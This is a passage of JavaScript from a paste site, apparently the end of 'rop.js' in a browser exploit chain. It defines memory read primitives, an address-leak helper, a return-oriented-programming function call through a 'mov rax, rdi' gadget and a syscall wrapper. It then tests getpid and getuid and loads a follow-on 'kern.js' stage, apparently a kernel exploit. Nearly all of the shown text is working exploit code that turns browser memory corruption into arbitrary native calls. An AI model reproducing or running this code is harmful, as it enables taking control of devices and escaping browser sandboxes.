  812.         return returnvalue;
  813.     }
  814.     p.readstr = function(addr){
  815.         var addr_ = addr.add32(0); // copy
  816.         var rd = p.read4(addr_);
  817.         var buf = "";
  818.         while (rd & 0xFF)
  819.         {
  820.             buf += String.fromCharCode(rd & 0xFF);
  821.             addr_.add32inplace(1);
  822.             rd = p.read4(addr_);
  823.         }
  824.         return buf;
  825.     }
  826.       
  827.     p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9)
  828.     {
  829.         if (typeof sysc == "string") {
  830.             sysc = window.syscallnames[sysc];
  831.         }
  832.         if (typeof sysc != "number") {
  833.             throw new Error("invalid syscall");
  834.         }
  835.           
  836.         var off = window.syscalls[sysc];
  837.         if (off == undefined)
  838.         {
  839.             throw new Error("invalid syscall");
  840.         }
  841.           
  842.         return p.fcall(off, rdi, rsi, rdx, rcx, r8, r9);
  843.     }
  844.     p.sptr = function(str) {
  845.         var bufView = new Uint8Array(str.length+1);
  846.         for (var i=0; i<str.length; i++) {
  847.             bufView[i] = str.charCodeAt(i) & 0xFF;
  848.         }
  849.         window.nogc.push(bufView);
  850.         return p.read8(p.leakval(bufView).add32(0x10));
  851.     };
  852.       
  853.     log("loaded sycalls");
  854.   
  855.     var rtv1 = p.fcall(window.gadgets["mov rax, rdi"], 0x41414141);
  856.     var pid = p.syscall("getpid");
  857.     var uid = p.syscall("getuid");
  858.     print("all good. fcall test retval = " + rtv1 + " - uid: " + uid + " - pid: " + pid);
  859.   
  860.     sc = document.createElement("script");
  861.     sc.src="kern.js";
  862.     document.body.appendChild(sc);
  863. }
  864. <--- /rop.js -->
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement